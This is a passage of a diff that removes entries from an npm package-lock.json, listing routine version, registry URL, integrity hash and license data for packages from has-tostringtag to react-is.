"https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", - "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", - "license": "MIT", - "dependencies": { - "has-symbols": "^1.0.3" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/hasown": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", - "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", - "license": "MIT", - "dependencies": { - "function-bind": "^1.1.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/hermes-estree": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/hermes-estree/-/hermes-estree-0.25.1.tgz", - "integrity": "sha512-0wUoCcLp+5Ev5pDW2OriHC2MJCbwLwuRx+gAqMTOkGKJJiBCLjtrvy4PWUGn6MIVefecRpzoOZ/UV6iGdOr+Cw==", - "dev": true, - "license": "MIT" - }, - "node_modules/hermes-parser": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/hermes-parser/-/hermes-parser-0.25.1.tgz", - "integrity": "sha512-6pEjquH3rqaI6cYAXYPcz9MS4rY6R4ngRgrgfDshRptUZIc3lw0MCIJIGDj9++mfySOuPTHB4nrSW99BCvOPIA==", - "dev": true, - "license": "MIT", - "dependencies": { - "hermes-estree": "0.25.1" - } - }, - "node_modules/ignore": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", - "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/immer": { - "version": "10.2.0", - "resolved": "https://registry.npmjs.org/immer/-/immer-10.2.0.tgz", - "integrity": "sha512-d/+XTN3zfODyjr89gM3mPq1WNX2B8pYsu7eORitdwyA2sBubnTl3laYlBk4sXY5FUa5qTZGBDPJICVbvqzjlbw==", - "license": "MIT", - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/immer" - } - }, - "node_modules/import-fresh": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz", - "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "parent-module": "^1.0.0", - "resolve-from": "^4.0.0" - }, - "engines": { - "node": ">=6" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/imurmurhash": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.8.19" - } - }, - "node_modules/internmap": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz", - "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==", - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-glob": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", - "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-extglob": "^2.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", - "dev": true, - "license": "ISC" - }, - "node_modules/jiti": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.6.1.tgz", - "integrity": "sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ==", - "dev": true, - "license": "MIT", - "bin": { - "jiti": "lib/jiti-cli.mjs" - } - }, - "node_modules/js-tokens": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", - "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/js-yaml": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz", - "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==", - "dev": true, - "license": "MIT", - "dependencies": { - "argparse": "^2.0.1" - }, - "bin": { - "js-yaml": "bin/js-yaml.js" - } - }, - "node_modules/jsesc": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", - "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", - "dev": true, - "license": "MIT", - "bin": { - "jsesc": "bin/jsesc" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/json-buffer": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", - "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/json-schema-traverse": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true, - "license": "MIT" - }, - "node_modules/json-stable-stringify-without-jsonify": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", - "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", - "dev": true, - "license": "MIT" - }, - "node_modules/json5": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", - "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", - "dev": true, - "license": "MIT", - "bin": { - "json5": "lib/cli.js" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/keyv": { - "version": "4.5.4", - "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", - "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", - "dev": true, - "license": "MIT", - "dependencies": { - "json-buffer": "3.0.1" - } - }, - "node_modules/levn": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", - "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "prelude-ls": "^1.2.1", - "type-check": "~0.4.0" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/lightningcss": { - "version": "1.30.2", - "resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.30.2.tgz", - "integrity": "sha512-utfs7Pr5uJyyvDETitgsaqSyjCb2qNRAtuqUeWIAKztsOYdcACf2KtARYXg2pSvhkt+9NfoaNY7fxjl6nuMjIQ==", - "dev": true, - "license": "MPL-2.0", - "dependencies": { - "detect-libc": "^2.0.3" - }, - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - }, - "optionalDependencies": { - "lightningcss-android-arm64": "1.30.2", - "lightningcss-darwin-arm64": "1.30.2", - "lightningcss-darwin-x64": "1.30.2", - "lightningcss-freebsd-x64": "1.30.2", - "lightningcss-linux-arm-gnueabihf": "1.30.2", - "lightningcss-linux-arm64-gnu": "1.30.2", - "lightningcss-linux-arm64-musl": "1.30.2", - "lightningcss-linux-x64-gnu": "1.30.2", - "lightningcss-linux-x64-musl": "1.30.2", - "lightningcss-win32-arm64-msvc": "1.30.2", - "lightningcss-win32-x64-msvc": "1.30.2" - } - }, - "node_modules/lightningcss-android-arm64": { - "version": "1.30.2", - "resolved": "https://registry.npmjs.org/lightningcss-android-arm64/-/lightningcss-android-arm64-1.30.2.tgz", - "integrity": "sha512-BH9sEdOCahSgmkVhBLeU7Hc9DWeZ1Eb6wNS6Da8igvUwAe0sqROHddIlvU06q3WyXVEOYDZ6ykBZQnjTbmo4+A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-darwin-arm64": { - "version": "1.30.2", - "resolved": "https://registry.npmjs.org/lightningcss-darwin-arm64/-/lightningcss-darwin-arm64-1.30.2.tgz", - "integrity": "sha512-ylTcDJBN3Hp21TdhRT5zBOIi73P6/W0qwvlFEk22fkdXchtNTOU4Qc37SkzV+EKYxLouZ6M4LG9NfZ1qkhhBWA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-darwin-x64": { - "version": "1.30.2", - "resolved": "https://registry.npmjs.org/lightningcss-darwin-x64/-/lightningcss-darwin-x64-1.30.2.tgz", - "integrity": "sha512-oBZgKchomuDYxr7ilwLcyms6BCyLn0z8J0+ZZmfpjwg9fRVZIR5/GMXd7r9RH94iDhld3UmSjBM6nXWM2TfZTQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-freebsd-x64": { - "version": "1.30.2", - "resolved": "https://registry.npmjs.org/lightningcss-freebsd-x64/-/lightningcss-freebsd-x64-1.30.2.tgz", - "integrity": "sha512-c2bH6xTrf4BDpK8MoGG4Bd6zAMZDAXS569UxCAGcA7IKbHNMlhGQ89eRmvpIUGfKWNVdbhSbkQaWhEoMGmGslA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-linux-arm-gnueabihf": { - "version": "1.30.2", - "resolved": "https://registry.npmjs.org/lightningcss-linux-arm-gnueabihf/-/lightningcss-linux-arm-gnueabihf-1.30.2.tgz", - "integrity": "sha512-eVdpxh4wYcm0PofJIZVuYuLiqBIakQ9uFZmipf6LF/HRj5Bgm0eb3qL/mr1smyXIS1twwOxNWndd8z0E374hiA==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-linux-arm64-gnu": { - "version": "1.30.2", - "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-gnu/-/lightningcss-linux-arm64-gnu-1.30.2.tgz", - "integrity": "sha512-UK65WJAbwIJbiBFXpxrbTNArtfuznvxAJw4Q2ZGlU8kPeDIWEX1dg3rn2veBVUylA2Ezg89ktszWbaQnxD/e3A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-linux-arm64-musl": { - "version": "1.30.2", - "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-musl/-/lightningcss-linux-arm64-musl-1.30.2.tgz", - "integrity": "sha512-5Vh9dGeblpTxWHpOx8iauV02popZDsCYMPIgiuw97OJ5uaDsL86cnqSFs5LZkG3ghHoX5isLgWzMs+eD1YzrnA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-linux-x64-gnu": { - "version": "1.30.2", - "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-gnu/-/lightningcss-linux-x64-gnu-1.30.2.tgz", - "integrity": "sha512-Cfd46gdmj1vQ+lR6VRTTadNHu6ALuw2pKR9lYq4FnhvgBc4zWY1EtZcAc6EffShbb1MFrIPfLDXD6Xprbnni4w==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-linux-x64-musl": { - "version": "1.30.2", - "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-musl/-/lightningcss-linux-x64-musl-1.30.2.tgz", - "integrity": "sha512-XJaLUUFXb6/QG2lGIW6aIk6jKdtjtcffUT0NKvIqhSBY3hh9Ch+1LCeH80dR9q9LBjG3ewbDjnumefsLsP6aiA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-win32-arm64-msvc": { - "version": "1.30.2", - "resolved": "https://registry.npmjs.org/lightningcss-win32-arm64-msvc/-/lightningcss-win32-arm64-msvc-1.30.2.tgz", - "integrity": "sha512-FZn+vaj7zLv//D/192WFFVA0RgHawIcHqLX9xuWiQt7P0PtdFEVaxgF9rjM/IRYHQXNnk61/H/gb2Ei+kUQ4xQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-win32-x64-msvc": { - "version": "1.30.2", - "resolved": "https://registry.npmjs.org/lightningcss-win32-x64-msvc/-/lightningcss-win32-x64-msvc-1.30.2.tgz", - "integrity": "sha512-5g1yc73p+iAkid5phb4oVFMB45417DkRevRbt/El/gKXJk4jid+vPFF/AXbxn05Aky8PapwzZrdJShv5C0avjw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/locate-path": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", - "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", - "dev": true, - "license": "MIT", - "dependencies": { - "p-locate": "^5.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/lodash.merge": { - "version": "4.6.2", - "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", - "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/lru-cache": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", - "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", - "dev": true, - "license": "ISC", - "dependencies": { - "yallist": "^3.0.2" - } - }, - "node_modules/lucide-react": { - "version": "0.561.0", - "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.561.0.tgz", - "integrity": "sha512-Y59gMY38tl4/i0qewcqohPdEbieBy7SovpBL9IFebhc2mDd8x4PZSOsiFRkpPcOq6bj1r/mjH/Rk73gSlIJP2A==", - "license": "ISC", - "peerDependencies": { - "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" - } - }, - "node_modules/magic-string": { - "version": "0.30.21", - "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", - "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/sourcemap-codec": "^1.5.5" - } - }, - "node_modules/math-intrinsics": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", - "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/mime-db": { - "version": "1.52.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", - "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/mime-types": { - "version": "2.1.35", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", - "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", - "license": "MIT", - "dependencies": { - "mime-db": "1.52.0" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "license": "ISC", - "dependencies": { - "brace-expansion": "^1.1.7" - }, - "engines": { - "node": "*" - } - }, - "node_modules/ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - "dev": true, - "license": "MIT" - }, - "node_modules/nanoid": { - "version": "3.3.11", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", - "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "bin": { - "nanoid": "bin/nanoid.cjs" - }, - "engines": { - "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" - } - }, - "node_modules/natural-compare": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", - "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", - "dev": true, - "license": "MIT" - }, - "node_modules/node-releases": { - "version": "2.0.27", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz", - "integrity": "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==", - "dev": true, - "license": "MIT" - }, - "node_modules/normalize-range": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz", - "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/optionator": { - "version": "0.9.4", - "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", - "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", - "dev": true, - "license": "MIT", - "dependencies": { - "deep-is": "^0.1.3", - "fast-levenshtein": "^2.0.6", - "levn": "^0.4.1", - "prelude-ls": "^1.2.1", - "type-check": "^0.4.0", - "word-wrap": "^1.2.5" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/p-limit": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", - "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "yocto-queue": "^0.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/p-locate": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", - "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", - "dev": true, - "license": "MIT", - "dependencies": { - "p-limit": "^3.0.2" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/parent-module": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", - "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", - "dev": true, - "license": "MIT", - "dependencies": { - "callsites": "^3.0.0" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/path-exists": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/path-key": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/picocolors": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", - "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", - "dev": true, - "license": "ISC" - }, - "node_modules/picomatch": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", - "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", - "dev": true, - "license": "MIT", - "peer": true, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/postcss": { - "version": "8.5.6", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", - "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/postcss" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "peer": true, - "dependencies": { - "nanoid": "^3.3.11", - "picocolors": "^1.1.1", - "source-map-js": "^1.2.1" - }, - "engines": { - "node": "^10 || ^12 || >=14" - } - }, - "node_modules/postcss-value-parser": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", - "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/prelude-ls": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", - "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/proxy-from-env": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", - "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==", - "license": "MIT" - }, - "node_modules/punycode": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", - "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/react": { - "version": "19.2.3", - "resolved": "https://registry.npmjs.org/react/-/react-19.2.3.tgz", - "integrity": "sha512-Ku/hhYbVjOQnXDZFv2+RibmLFGwFdeeKHFcOTlrt7xplBnya5OGn/hIRDsqDiSUcfORsDC7MPxwork8jBwsIWA==", - "license": "MIT", - "peer": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/react-dom": { - "version": "19.2.3", - "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.3.tgz", - "integrity": "sha512-yELu4WmLPw5Mr/lmeEpox5rw3RETacE++JgHqQzd2dg+YbJuat3jH4ingc+WPZhxaoFzdv9y33G+F7Nl5O0GBg==", - "license": "MIT", - "peer": true, - "dependencies": { - "scheduler": "^0.27.0" - }, - "peerDependencies": { - "react": "^19.2.3" - } - }, - "node_modules/react-is": { - "version": "19.2.3", - "resolved": 